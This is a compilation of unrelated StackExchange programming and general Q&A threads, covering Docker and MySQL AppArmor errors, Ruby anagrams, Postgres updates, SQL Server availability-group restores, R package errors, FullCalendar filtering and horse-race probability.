text:
Q: Docker and Mysql: libz.so.1: cannot open shared object file: Permission denied When running mysqld in this Dockerfile (on my Linux box,  Linux 12.04)
Dockerfile:
FROM ubuntu:precise
RUN apt-get update
RUN apt-get install -y mysql-server

CMD ["/usr/sbin/mysqld"]

I get mysqld: error while loading shared libraries: libz.so.1: cannot open shared object file: Permission denied
Whereas running it on my Mac through boot2docker mysqld starts up just fine.
I have tried different base docker images:

*

*phusion/baseimage:0.9.8

*phusion/baseimage:0.9.1

*ubuntu:latest

I have run apt-get update and apt-get upgrade (including updating Mysql) on the host system, I have rebooted the host system.
Any ideas on how to proceed?
Info about my system:
$ docker version
Client version: 0.9.0
Go version (client): go1.2.1
Git commit (client): 2b3fdf2
Server version: 0.9.0
Git commit (server): 2b3fdf2
Go version (server): go1.2.1
Last stable version: 0.9.0

$ docker info
Containers: 37
Images: 340
Driver: aufs
Root Dir: /var/lib/docker/aufs
Dirs: 414
WARNING: No swap limit support

$ uname -a
Linux Ubuntu-1204-precise-64-minimal 3.8.0-37-generic #53~precise1-Ubuntu SMP Wed Feb 19 21:37:54 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux

Answer to leeduhem comments about permissions of libz.so.1:
$ ls -l /lib/x86_64-linux-gnu/libz.so.1
lrwxrwxrwx 1 root root 15 Nov 10  2011 /lib/x86_64-linux-gnu/libz.so.1 -> libz.so.1.2.3.4

$ ls -l /lib/x86_64-linux-gnu/libz.so.1.2.3.4
-rw-r--r-- 1 root root 92720 Nov 10  2011 /lib/x86_64-linux-gnu/libz.so.1.2.3.4

Changing permissions with
$ chmod +x  /lib/x86_64-linux-gnu/libz.so.1.2.3.4

I still get the error.
Running strace -o /tmp/mysql.strace mysqld and cat /tmp/mysql.strace gives
execve("/usr/sbin/mysqld", ["mysqld"], [/* 7 vars */]) = 0
brk(0)                                  = 0x7f4d41f7c000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f4d403c5000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = -1 EACCES (Permission denied)
open("/lib/x86_64-linux-gnu/tls/x86_64/libz.so.1", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
stat("/lib/x86_64-linux-gnu/tls/x86_64", 0x7fff713907f0) = -1 ENOENT (No such file or directory)
open("/lib/x86_64-linux-gnu/tls/libz.so.1", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
stat("/lib/x86_64-linux-gnu/tls", 0x7fff713907f0) = -1 ENOENT (No such file or directory)
open("/lib/x86_64-linux-gnu/x86_64/libz.so.1", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
stat("/lib/x86_64-linux-gnu/x86_64", 0x7fff713907f0) = -1 ENOENT (No such file or directory)
open("/lib/x86_64-linux-gnu/libz.so.1", O_RDONLY|O_CLOEXEC) = -1 EACCES (Permission denied)
stat("/lib/x86_64-linux-gnu", 0x7fff713907f0) = -1 EACCES (Permission denied)
open("/usr/lib/x86_64-linux-gnu/tls/x86_64/libz.so.1", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
stat("/usr/lib/x86_64-linux-gnu/tls/x86_64", 0x7fff713907f0) = -1 ENOENT (No such file or directory)
open("/usr/lib/x86_64-linux-gnu/tls/libz.so.1", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
stat("/usr/lib/x86_64-linux-gnu/tls", 0x7fff713907f0) = -1 ENOENT (No such file or directory)
open("/usr/lib/x86_64-linux-gnu/x86_64/libz.so.1", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
stat("/usr/lib/x86_64-linux-gnu/x86_64", 0x7fff713907f0) = -1 ENOENT (No such file or directory)
open("/usr/lib/x86_64-linux-gnu/libz.so.1", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
stat("/usr/lib/x86_64-linux-gnu", 0x7fff713907f0) = -1 EACCES (Permission denied)
open("/lib/tls/x86_64/libz.so.1", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
stat("/lib/tls/x86_64", 0x7fff713907f0) = -1 ENOENT (No such file or directory)
open("/lib/tls/libz.so.1", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
stat("/lib/tls", 0x7fff713907f0)        = -1 ENOENT (No such file or directory)
open("/lib/x86_64/libz.so.1", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
stat("/lib/x86_64", 0x7fff713907f0)     = -1 ENOENT (No such file or directory)
open("/lib/libz.so.1", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
stat("/lib", 0x7fff713907f0)            = -1 EACCES (Permission denied)
open("/usr/lib/tls/x86_64/libz.so.1", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
stat("/usr/lib/tls/x86_64", 0x7fff713907f0) = -1 ENOENT (No such file or directory)
open("/usr/lib/tls/libz.so.1", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
stat("/usr/lib/tls", 0x7fff713907f0)    = -1 ENOENT (No such file or directory)
open("/usr/lib/x86_64/libz.so.1", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
stat("/usr/lib/x86_64", 0x7fff713907f0) = -1 ENOENT (No such file or directory)
open("/usr/lib/libz.so.1", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
stat("/usr/lib", 0x7fff713907f0)        = -1 EACCES (Permission denied)
writev(2, [{"mysqld", 6}, {": ", 2}, {"error while loading shared libra"..., 36}, {": ", 2}, {"libz.so.1", 9}, {": ", 2}, {"cannot open shared object file", 30}, {": ", 2}, {"Permission denied", 17}, {"\n", 1}], 10) = 107

Looking at the directories /lib and /lib/x86_64-linux-gnu that the trace seems to indicate are not permitted:
$ ls -ld /lib
drwxr-xr-x 12 root root 4096 Dec 16 13:42 /lib

$ ls -ld /lib/x86_64-linux-gnu
drwxr-xr-x 3 root root 4096 Mar 17 13:39 /lib/x86_64-linux-gnu

A: Deleting the container solve this problem for me.
Update: That solution worked not so long.
So I kept searching and found something related with Apparmor.
If you have mysql installed on your host, Apparmor may restrict access of this shared library for mysql installed on your docker container. The following fixed the problem:
#Type this on your host terminal
sudo ln -s /etc/apparmor.d/usr.sbin.mysqld /etc/apparmor.d/disable/
sudo apparmor_parser -R /etc/apparmor.d/usr.sbin.mysqld

A: So I solved the issue by using the devicemapper storage backend, as suggested by @jpetazzo.
Steps I carried out:

*

*Stopped the docker deamon

*Started the docker deamon with command docker -d -s="devicemapper"

*Ran the docker run on the Dockerfile command again. And it worked without any problems.

A: If you have mysql-server installed on your host machine, then it installs an apparmor profile for mysqld. For me, the problem went away after I disabled the mysqld apparmor profile on the host with the following commands:

sudo ln -s /etc/apparmor.d/usr.sbin.mysqld /etc/apparmor.d/disable/
  sudo apparmor_parser -R /etc/apparmor.d/usr.sbin.mysqld

Of course, this also means that apparmor will be disabled for mysqld on your host. I don't use mysqld so I'm okay with that.

A: Try

sudo apt-get update

sudo apt-get install -y mysql-server


text:
Q: Query HTML stored in Var with Dojo I will first explain what I'm trying to do then I will explain why just in case you get bored of reading the whole scenario.
Basically I have some HTML markup stored in a variable I now need to a wait to access the different elements within the variable. For example:
var markUp = "
h3 tag

paragraph tag
";

What I need to know is if there is a way for me to query the variable to retrieve say the h3 tag, in a similar way you would use the query function ? I have seen some other practices where people append the var to a hidden div then query the div. I would prefer to avoid this but if that is the only way I will proceed.
I have come across this problem whilst developing a drag and drop application, on drop i use a custom creator function to change the items structure once it is dropped.
If further explanation is needed please say, thanks advance Jonathan

A: You can use dojo._toDom to create a DOM fragment from your string.
var markup = "
h3 tag

paragraph tag

another paragraph
";
var domFragment = dojo._toDom(markup);

dojo.query("p", domFragment).forEach(function(element,i) {
    console.debug(element.innerHTML);
});

The underscore prefix in _toDom means that it's a "private" member method of dojo. Normally, it's bad practice to use these as if they were public (like I do here). However, in the case of _toDom I believe it's generally considered acceptable, and according to this trac entry, it sounds like it'll be made public in the next version.

redpajama_set_name: RedPajamaStackExchange


text:
Q: Detecting Multiple Anagrams I was wondering if anybody could provide me with some assistance on detecting multiple anagrams inside of one large array.
I know that I can do a basic check using something like:
x = "Red"
y = "der"

x.downcase.split("").sort == y.downcase.split("").sort

However, I need help with something a little more complex than that. What I currently have is a large array containing well over 10,000 words, and I'm looking for to find the cleanest way to iterate through the array and return all anagrams separated into different lists.
For example, let's pretend the array is:
["Red", "Blue", "uLeB", "der"]

It should return:
[["Red", "der"], ["Blue", "uLeB"]]

They don't have to be returned in an array -- I just need a way of separating them.
Thanks in advance for any help!

A: Instead of comparing each word to every other word, you can group the entries via group_by, using the same logic:
words = %w(Red Blue uLeB der)

words.group_by { |w| w.downcase.chars.sort }
#=> {
#  ["d", "e", "r"]      => ["Red", "der"],
#  ["b", "e", "l", "u"] => ["Blue", "uLeB"]
# }

A: I would suggest another approach using Hash
h = Hash.new { |hash, key| hash[key] = [] }
array = ["Red", "Blue", "uLeB", "der"]
array.each {|e| h[e.downcase.split('').sort.join] << e }

=> {"der"=>["Red", "der"], "belu"=>["Blue", "uLeB"]}


text:
Q: Structures with pointers so I have a structure called Shield that has three pointers in it. I need to fill up with data one of this pointers before hand and I need to access this data inside of a constant loop. The problem that I'm having is that whenever I try and access what should be in my pointers my program crashes. This is my structure
struct Shield{
  esat::Vec3 *circle;
  esat::Vec2 *walls;
  bool *isActive;
};

where esat::Vec3 and esat::Vec2 are just structures with floats representing vectors.
I initialize my pointers inside of a function that takes as a parameter an Shield object and fill up such pointer data that I need.
void InitShield(Shield shield){

  shield.circle = (esat::Vec3*) malloc((KVertices + 1) * sizeof(esat::Vec3));
  shield.walls = (esat::Vec2*) malloc((KVertices + 1) * sizeof(esat::Vec2));
  shield.isActive = (bool*) malloc((KVertices + 1) * sizeof(bool));

  float angle = 6.28f / KVertices;
  for(int i=0; i<KVertices; ++i){
    (*(shield.circle + i)).x = cos(angle * i);
    (*(shield.circle + i)).y = sin(angle * i);
    (*(shield.circle + i)).z = 1.0f;
    (*(shield.isActive + i)) = true;
  }

}

And then I try and get access to what I supposedly stored in my pointer.
void DrawCircle(esat::Mat3 base, esat::Vec2 *tr_points, esat::Vec3 *circle, bool *checkActive){

  CheckShield(first_shield);
  for(int i=0; i<KVertices; ++i){
    esat::Vec3 points = esat::Mat3TransformVec3(base, (*(circle + i)));
    *(tr_points + i) = {points.x, points.y};
  }

  for(int i=0; i<KVertices; ++i){
    if((*(checkActive + i)) == true){
      esat::DrawSetStrokeColor(color.r, color.g, color.b);
      esat::DrawLine((*(tr_points + i)).x, (*(tr_points + i)).y, (*(tr_points + ((i+1)%KVertices))).x, (*(tr_points + ((i+1)%KVertices))).y);
    }
  }

}

This is where my program crashes. When I try and access what should be inside my circle pointer the program fails to and crashes.
Does anyone know what am I doing wrong? I haven't figured it out yet.

A: This function accepts an object of the type Shield by value.
void InitShield(Shield shield){

That is the function deals with a copy of the value of the passed argument.
Changing the copy within the function does not influence on the original object.
If you are using C++ then declare the function at least like
void InitShield(Shield &shield){

and use the operator new instead of calling malloc directly.
If you are using C then declare the function like
void InitShield(Shield *shield){

Also it is unclear why you are allocating KVertices + 1 objects as for example
shield.circle = (esat::Vec3*) malloc((KVertices + 1) * sizeof(esat::Vec3));

But the following for loop uses only KVertices iterations.
for(int i=0; i<KVertices; ++i){


text:
Q: Errors in Rstudio loading and installing packages (ANN2 and other Neural Network Packages) I have had issues in the past week with attempting to download packages into my R studio. Specifically, ANN2, caret, and mxnet. When using the install.packages("name of package"), I get an error indicating certain dependencies (such as ggplot2) are not installed, when in reality they have been successfully. After attempting to reinstall those packages I was presented with this error:
> library("ANN2", lib.loc="~/R/win-library/3.2")

Error in inDL(x, as.logical(local), as.logical(now), ...) :
  unable to load shared object 'C:/Users/Matt/Documents/R/win-library/3.2/Rcpp/libs/x64/Rcpp.dll':
  LoadLibrary failure:  The specified procedure could not be found.
There has been similar issues on his site, with none of them presenting a solution that worked.
The problem became worse this morning as when I opened the Rstudio window a pop-up from Rstudio appeared saying "The procedure entry point DATAPTR could not be located in the dynamic link library C:\the location information within the computer". As suggested by an answer to a similar question, I restarted my computer and reinstalled Rstudio. The problem has still persisted after these fixes. To make matters worse I have now lost a handful of other packages that were successfully installed previously (such as NeuralNetTools and ggplot2) due to this problem.
Here are a list of things I have tried and did not succeed.

*

*Updating Rstudio to the most current version and booting old version

*Reinstalling Rstudio

*Manually installing the packages using their zip files

*Installing the packages from commands in the console

*Installing the packages from the library tab
These all present the aforementioned error, or a series of errors that leads back to this error after installing the dependent packages.

These issues may not be truly related, but they present similar symptoms with a hopefully simple fix.

A: I was able to solve this problem by completely uninstalling Rstudio and also deleting all of the documents and files containing any trace of R from my computer. Once that was done, I was able to reinstall R from scratch and it worked.

A: I experienced that the above mentioned error messages occure, when using R and packages that are not homogenous in terms of their built, e.g. using R 3.4 on packages of built 3.5 or the other way round...
Check if your R Version and the used packages are homogenous in terms of their built and re-install packages with the R version used to re-compile them to the homogenous built needed...this may solve the mentioned issue above...


text:
Q: LyX footnote in table minipage not working after upgrade I had tables with footnotes that were placed below the table using Minipage boxing, as described in  the wiki. The document compiled well using an older LyX version (2.2.?, not sure). But after upgrading to version 2.3.0 the footnotes are sent to the bottom of the page and the Minipage seems to have no effect. What should I do to get the previous behavior?
 Here  is an example file.
 Here  is the output.
Thank you.

A: This will be changed back to the previous behavior in LyX 2.3.1, which should be released within the next couple of weeks. To get the old behavior back with LyX 2.3.0, you can add the following to the preamble (Document > Settings > LaTeX Preamble):
\renewcommand{\tablefootnote}{\footnote}

as noted by Paul Rubin.


text:
Q: Помогите понять, почему не работает v-mask при подстановки данных в форму? <label for="executor-phone">Телефон: </label>
        <b-input
          :disabled="!isDataFormEmpty"
          :state="validateState('executor_phone')"
          id="executors-tel"
          v-model="$v.list_of_limit.executor_phone.$model"
          v-mask="'+7 (###) ###-##-##'"
          type="text"
          size="sm"
          placeholder="+7 (812) 123-45-67"
        ></b-input>

list_of_limit: {
 initiator_code: 302,
 executor_phone: this.user.phone || null,
 list_of_limit_rec: {},
 limit_date: moment(today).format('DD.MM.YYYY'),
 records: 236,
 executor_name: this.user.name,
 lim_type: "S - на начало дня",
 initiator_name: "Комитет финансов СПб",
 currency: "RUB",
 comment: ""
}

при получении данных и подстановке для отображения в форму теряется реактивность и форматирование по v-mask не происходит, в чем может быть проблема?

setDataInForm(readOnlyData) {
      this.list_of_limit = readOnlyData.SPCEX_DOC.document.list_of_limit
}

A: Проблема была в потере реактивности, чтобы ее вернуть можно создать поле следующим образом, создать поле в модели заново, методом Vue.set()
this.$set(this.list_of_limit, 'executor_phone', list_of_limit.executor_phone)


text:
Q: How to UPDATE multiple rows, based on multiple conditions? I'm trying to update a single column in a table for many rows, but each row will have a different updated date value based on a unique where condition of two other columns. I'm reading the data from a csv, and simply updating the date column in the row located from the combination of values in the other two columns.
I've seen this
SQL update multiple rows based on multiple where conditions
but the SET value will not be static, and will need to match each row where the other two column values are true. This is because in my table, the combination of those two other columns are always unique.
Psuedocode
UPDATE mytable SET date = (many different date values)
WHERE col_1 = x and col_2 = y

col_1 and col_2 values will change for every row in the csv, as the combination of these two values are unique. I was looking into using CASE in postgres, but I understand it cannot be used with multiple columns.
So basically, a csv row has a date value, that must be updated in the record where col_1 and col_2 equals their respective values in the csv rows. If these values don't exist in the database, they are simply ignored.
Is there an elegant way to do this in a single query? This query is part of a spring batch job, so I might not be able to use native postgres syntax, but I'm struggling to even understand the format of the query so I can worry about the syntax later. Would I need multiple update statements? If so, how can I achieve that in the write step of a spring batch job?
EDIT: Adding some sample data to explain process
CSV rows:
date,        col_1,    col_2
2021-12-30,  'abc',    'def'
2021-05-30,  'abc',    'zzz'
2021-07-30,  'hfg',    'xxx'

I'll need my query to locate a record where col_1='abc' AND col_2=def, then change the date column to 2021-12-30. I'll need to do this for every row, but I don't know how to format the UPDATE query.

A: You can insert your CSV data into a (temporary) table (say mycsv) and use UPDATE with a FROM clause. For instance:
CREATE TEMP TABLE mycsv (date DATE, col_1 TEXT, col_2 TEXT);
COPY mycsv FROM '/path/to/csv/csv-file.csv' WITH (FORMAT csv);
UPDATE mytable m SET date = c.date
FROM mycsv c WHERE m.col_1 = c.col_1 AND m.col_2 = c.col_2;

A: Create an Itemwriter implementation, and override the write() method. That method accepts a list of objects, each returned from your ItemProcessor implementation.
In the write method, simply loop through the objects, and call update on each one in turn.
For Example:
In the ItemWriter:
 @Autowired
 private SomeDao dataAccessObject;

 @Override
 public void write(List<? extends YourDTO> someDTOs) throws Exception {

   for(YourDTO dto: someDTOs) {
      dataAccessObject.update(dto);
   }
 }

In your DAO:
private static final String sql = "UPDATE mytable SET dateField = ? WHERE col_1 = ? and col_2 = ?";

public void update(YourDTO dto) {

   Object[] parameters = { dto.getDate(), dto.getCol1(), dto.getCol2()};
   int[] types = {Types.DATE, Types.STRING, Types.STRING};

   jdbcTemplate.update(sql, parameters, types);
}


text:
Q: DocuSign API Captive Recipients I have been creating DocuSign envelopes using SOAP based API call "CreateAndSendEnvelope".
When I create an envelope using captive recipients into my DocuSign demo account..
1) When I include captive recipient's e-mail address in the SOAP request, would a captive recipient get a signed document back? I am not able to get the signed document back. I get an email with the notification that I signed the document.
2) My session never times out. According to DocuSign documentation, the session times out in 5 minutes and it is a configurable setting. Where should I look at that setting and how should I test the session timeout?
3) When I request recipient token once and if I make the request to get the token within a short period of time, I get an error. After I wait for a few minutes, I am able to retrieve the recipient token fine. Is there a time frame that I should consider while making a request to retrieve the recipient token?

A: 1)  You can control whether or not to include the completed documents in the email through an account setting.  Login to the Console and go to Preferences -> Features, and on that screen you should see an option labeled "Attached Documents to Completed Envelope Email".

2)  The default session timeout is actually 20 minutes, not 5.  And if you want to change that you need to contact your Account Manager - it's not a setting you have direct access to.
3)  Embedded Sending and Signing URL tokens are only valid for 5 minutes, after which they expire.  At that point you simply need to generate a new URL token for the given recipient.


text:
Q: Using MAT in eclipse and resolving memory leaks I am using MAT of eclipse to analyze memory usage in my Android project.
I have used
try {
            Debug.dumpHprofData("/mnt/sdcard/myapp.hprof");
            Log.i("","Calle d dumpHprofData");
         } catch (IOException e) {
             // TODO Auto-generated catch block
             e.printStackTrace();
          }

in my onCreate().. and generating myapp.hprof file. Then converting it into mat.hprof using "hprof-conv myapp.hprof mat.hprof"
I opened up "mat.hprof" using eclipse and it displays huge leaks.
I am not usre how to anlyze and resolve thos leaks.
Eg  :
 7,321 instances of "java.lang.String", loaded by "<system class loader>" occupy 457,648 (23.06%) bytes.

Keywords
java.lang.String

I am unable to open the source file related to it using MAT.
Please help.
Thanks
Sneha

A: Once you convert the hprof  file... Try opening the file from MAT tool ... File -> Open heap Dump -> browse and select your file.
Now click histogram view and enter the name of your activity at the top. You will be able to see shallow heap and retained heap.
Object should be 1. If it is more than 1, check the live refereces.
Right click your class name -> select Path to GC roots -> exclude weak references.
Hope this helps.

A: Watch Google I/O 2011: Memory management for Android Apps.
Most common sources of memory leaks, ussage of MAT with practical example- all is covered there.
Also, Memory Analysis for Android Applications describes how to use MAT, and has links to other usefull materials.
Finally, Investigating Your RAM Usage, covers how to (tipically) trigger memory leak if you have one.


text:
Q: Постинг в вк через Api В чем проблема? Не загружает картинку в пост
Заранее спасибо!
import os
import vk
import sys
import requests
import json

session = vk.AuthSession(app_id='...', user_login='...', user_password='...', scope='wall, messages, photos')
vk_api = vk.API(session, v='5.85')
groupID = '172896425'

upload_url = vk_api.photos.getWallUploadServer(group_id=groupID)['upload_url']

request = requests.post(upload_url, files={'photo': open('1.jpg', "rb")})
params = {'server': request.json()['server'],
          'photo': request.json()['photo'],
          'hash': request.json()['hash'],
          'group_id': groupID}

photo_id = vk_api.photos.saveWallPhoto(**params)[0]['id']

params = {'attachments': 'photo'+ groupID + '_'+ str(photo_id),
          'message': 'test',
          'owner_id': '-' + groupID,
          'from_group': '1'}
vk_api.wall.post(**params)

A: В последнем блоке params не то id передавал
photo_id = data [0]['id']

params = {'attachments': 'photo'+ str(data [0]['owner_id']) + '_'+ str(photo_id),
          'message': 'test',
          'owner_id': '-' + groupID,
          'from_group': '1'}


text:
Q: How to NOT use story point in Azure Devops I totally understand what are story points and their advantage and inconvenient, but I'm trying to motivate the team to move to Azure DevOps, and currently we do not use story point(but rather estimations done by the whole team). I know it's not ideal, but it's not the point.
I would like to know if it's possible to configure Azure Devops to not work with Story points but with effort?
Thanks!

A: Just as Matt pointed out in the comment, you could choose to use Scrum workflow instead of Agile workflow
Effort is for Product Backlog Items (in Scrum template) and Story Points is for User Stories (in Agile template).

Effort
Estimate the amount of work required to complete a PBI using any unit
of measurement your team prefers, such as story points or time. A
numeric value is required.

Once a Scrum team have completed the product backlog item estimates they then go on to break each PBI down in to tasks. They then do time-based estimates on the tasks (e.g. Task 1 = 2 hours).
More detail info and process you could refer our official doc--Scrum process work item types and workflow

Update:
It's controlled by working days and Capacity per day, you could simply refer below sample screenshot.


text:
Q: MapWinGIS Create Buffer Using Data That Has WGS84 Coordinate System I am using MapWinGIS with c#. I am trying to create a buffer for a polygon that has WGS84 decimal degree reference system, but it never get displayed.
Here is my code:
// Form load
var gp = new GeoProjection();
gp.SetWgs84Projection(tkWgs84Projection.Wgs84_UTM_zone_40N);
axMap1.GeoProjection = gp; //set map projection to projected mercator
...
if (sfAOI.Open(fileName, null) ) //open shapefile wgs84 lat long RS
{
    axMap1.RemoveLayer(aoiHandler);
    aoiHandler = axMap1.AddLayer(sfAOI, true); //Lat Long

    //till here, all data loaded are in lat long coordinate system

    //create aoi buffer
    sfAOIBuffer = new Shapefile();
    sfAOIBuffer = sfAOI.BufferByDistance(500, 20, true, false);
    aoiBufferHandler = axMap1.AddLayer(sfAOIBuffer, true);
    axMap1.MoveLayerTop(aoiBufferHandler);  //does not appear.
}

Which suppose to create a buffer after successfully loading area of interest.
Having all data are in WGS84, I need to be able to create buffer on the fly in meters regardless to data reference system.
I am not sure if projection will really solve the problem because that deals only with data display.
What am I missing?


text:
Q: Don't understand how I am meant to get this answer I need to answer a question as follows:
For example, an array of products can be set up as below for use on an ecommerce web site.
var products = ["Printer","Tablet","Router"];

(i) Set up an array to include the items shown above, plus a few extras of your choice.
<!DOCTYPE html>

A: You set the id to be "How to set up and Array with items in HTML" instead of "demo":


text:
Q: Filtering Events with Two or more separate filters in FullCalendar I have a list of events in fullCalendar that are by certain users and for different clients. I want to filter by user and client, so that when one user is clicked, only his events will show. And while that user is clicked I click a client, only events with that client and user shows on the calendar.
https://codepen.io/anon/pen/Owmqwe?page=1&
In my example, when I click Jack and Petco, only Jack's Petco client's events should show.
 But the problem is, when I click Jack then Petco, ALL The petco events show up instead.  It also does this vice versa, when I click Petsmart and then I click Jack. Jacks Petco event shows up, when only Jack's petsmart events should show up.
I believe the problem lies in line 96 of the JS, it has something to do with that eventRender return statement that I am not sure how to solve, I read through JQUERY docs but I am still inexperienced.
eventRender: function(event, element, view) {
          return $('input[type=radio][name=user_selector]:checked').val() === 'all' && $('input[type=radio][name=type_selector]:checked').val() === 'all'
                   || event.client.indexOf($("input[type=radio][name=type_selector]:checked").val()) >= 0
                   || event.user.indexOf($("input[type=radio][name=user_selector]:checked").val()) >= 0;

Another thing:  I could filter users through event sources arrays. But the issue is: although my example was a static array, in practice I am getting events from database dynamically. That means I wont be able to filter events that have new users, I would have to constantly manually update the code.
So, that wont work for me unless there's a workaround I can't think of.
Filter events by adding and removing multiple event sources

A: Incorrect usage of && and ||. I believe you want something like this:
eventRender: function(event, element, view) {
      return ($('input[type=radio][name=user_selector]:checked').val() === 'all' || event.user.indexOf($("input[type=radio][name=user_selector]:checked").val()) >= 0)
          && ($('input[type=radio][name=type_selector]:checked').val() === 'all' || event.client.indexOf($("input[type=radio][name=type_selector]:checked").val()) >= 0);
    },


text:
Q: Sync while Restore Operation I am trying to restore the Latest content to one of my Primary Replica Database which is part of AOAG.
My question is during the Restore operation,
1) Will the synchronization still happens between Application and DB server ?
2) During the DB restoration will the DB which is part of AOAG is locked out so that the synchronization with Secondary AOAG replica not happens ?

A:
1) Will the synchronization still happens between Application and DB server ?

No synchronization will not happen during restore operation

During the DB restoration will the DB which is part of AOAG is locked out so that the synchronization with Secondary AOAG replica not happens ?

Please note that you cannot just go ahead and restore database which is part of availability group, you would have to evict database from AOAG, restore it and then add it back to AOAG see This Link. The query would look like below(shamelessly copied from This SE thread)
--on primary
ALTER AVAILABILITY GROUP MyAG REMOVE DATABASE AdventureWorks2012;

--on primary
RESTORE DATABASE AdventureWorks2012
   FROM AdventureWorksBackups
   WITH NORECOVERY,
      MOVE 'AdventureWorks2012_Data' TO
'C:\Program Files\Microsoft SQL Server\MSSQL12.MSSQLSERVER\MSSQL\Data\NewAdvWorks.mdf',
      MOVE 'AdventureWorks2012_Log'
TO 'C:\Program Files\Microsoft SQL Server\MSSQL12.MSSQLSERVER\MSSQL\Data\NewAdvWorks.ldf';
RESTORE LOG AdventureWorks2012
   FROM AdventureWorksBackups
   WITH RECOVERY;

--on secondary
RESTORE DATABASE AdventureWorks2012
   FROM AdventureWorksBackups
   WITH NORECOVERY,
      MOVE 'AdventureWorks2012_Data' TO
'C:\Program Files\Microsoft SQL Server\MSSQL12.MSSQLSERVER\MSSQL\Data\NewAdvWorks.mdf',
      MOVE 'AdventureWorks2012_Log'
TO 'C:\Program Files\Microsoft SQL Server\MSSQL12.MSSQLSERVER\MSSQL\Data\NewAdvWorks.ldf';
RESTORE LOG AdventureWorks2012
   FROM AdventureWorksBackups
   WITH NORECOVERY;

--on primary
ALTER AVAILABILITY GROUP MyAG ADD DATABASE AdventureWorks2012;

--on secondary
ALTER DATABASE AdventureWorks2012 SET HADR AVAILABILITY GROUP = MyAG;


text:
Q: Anyone know the name of this Russian puzzle game? I found a picture of a game from my childhood:

And now I am wondering what game is this? All I remember is that it was a Russian puzzle game.

A: According to some reverse image search, I found some sites in Russian.
The Russian title is Остров Драконов - Башня Знаний 2, which google translates to:
Dragon Island. The Tower of Knowledge 2
Here's the Russian cover:

I found a site that has some more info about this game:

A long time ago in a dreamland on the shore of the blue sea settled an evil witch. She wanted to conquer the people of this country and lord over them as their mistress. But how to achieve this, she did not know. Helping her was ancient book, which tells about dragons, burning everything in their paths. The sorceress had sent her brothers a giant cub to turn the dragon into a weapon of intimidation. And then ... you need to save the little dragon from prison and return it to its parents - wise dragons living on the island.

A: The game you're looking for is called Dragon Island. The Tower of Knowledge 2. The original Cyrillic title is ОСТРОВ ДРАКОНОВ. БАШНЯ ЗНАНИЙ 2.
It can be found on several places around the web.
I found the game via the Google Image Search.


text:
Q: this is the problem occured to me while installing docker engine using amazon ec2 ubuntu 18.04 E: The repository 'https://download.docker.com/linux/ubuntu \ Release' does not have a Release file.
N: Updating from such a repository can't be done securely, and is therefore disabled by default.
N: See apt-secure(8) manpage for repository creation and user configuration details.

A: Have you tried to update?
Try this:
sudo apt update && sudo apt install docker.io -y


text:
Q: Get row index in repetitive values in Data Frame I have a large Dataset (50 000 rows) with data similar to this:
CODE        sYS     YEAR  MONTH VAR STATION
00000539    BREAK   1998    12   n  HUAYAN
00000539    BREAK   2003    12   n  HUAYAN
00000539    BREAK   2008    12   n  HUAYAN
00000539    BREAK   2009    12   n  HUAYAN
00000539    BREAK   2015    12   n  HUAYAN
00000543    BREAK   1992    12   n  NANA
00000543    BREAK   2008    12   n  NANA
00000543    BREAK   2010    12   n  NANA
00000638    BREAK   1971    12   n  PACARAN
00000638    BREAK   1973    12   n  PACARAN
00000638    BREAK   1997    12   n  PACARAN
00000727    BREAK   1973    12   n  COPARA
00000727    BREAK   1995    12   n  COPARA
00000727    BREAK   1997    12   n  COPARA
00000727    BREAK   1998    12   n  COPARA

What i want is to get the row index of specific years like e.g.
x <- c(1973, 1998, 2008)

I tried this:
> row_index <- match(x, DataSet$Year)
> print(row_index)
> 10 1 3

As can you see with "match()" i only get the first value and not all, because what i expected i like this:
> 10 12 1 15 3 7

Any advice or help. Thanks.

A: > with(DataSet, YEAR[duplicated(YEAR) & duplicated(STATION)])
[1] 2008 1997 1998

A: How about which -
row_index <- which(DataSet$Year %in% x)


text:
Q: Probability question for horse racing I know there is quite a few of these, but for some reason I have so much trouble understanding probability properly, so was hoping to get some help.
Basically there are 8 horses racing, assuming they are all equal, I would assumed they have a 1/8 chance of placing in any particular value (first, second, third etc).
My first question is, assuming that I want to figure out the chance of placing within the top 4. Can I do (1/8)+(1/8)+(1/8)+(1/8) = 4/8 or 50 percent chance of placing on the top 4?
Second question is if I had two horses, what would be there chance of placing on the top 4? This I'm a little confused what to do, partly because I know if one horse places, that means the second horse only has a 1/7 chance of placing the other numbers? So I would guess you have 4/8 for horse 1 and also (1/7)+(1/7)+(1/7)+(1/7) = 4/7 for horse 2?
So that would get a (4/8)*(4/7) = 28.6 percent chance of both horses getting on the top four?
Any help would be amazing

A: Assuming there aren't any hidden horse dependencies, your approach to the first question is right.  Any given horse has a $4/8 = 1/2$ chance of placing in the top half.
As far as the second question is concerned, it's easiest to consider the probability of neither horse finishing in the top half.  Horse A finishes in the bottom half with probability $1/2$; horse B then finishes in one of the three remaining bottom half spots with probability $3/7$.  Therefore, both finish in the bottom half with probability $1/2 \times 3/7 = 3/14$, so at least one of them finishes in the top half with probability $1-3/14 = 11/14$.
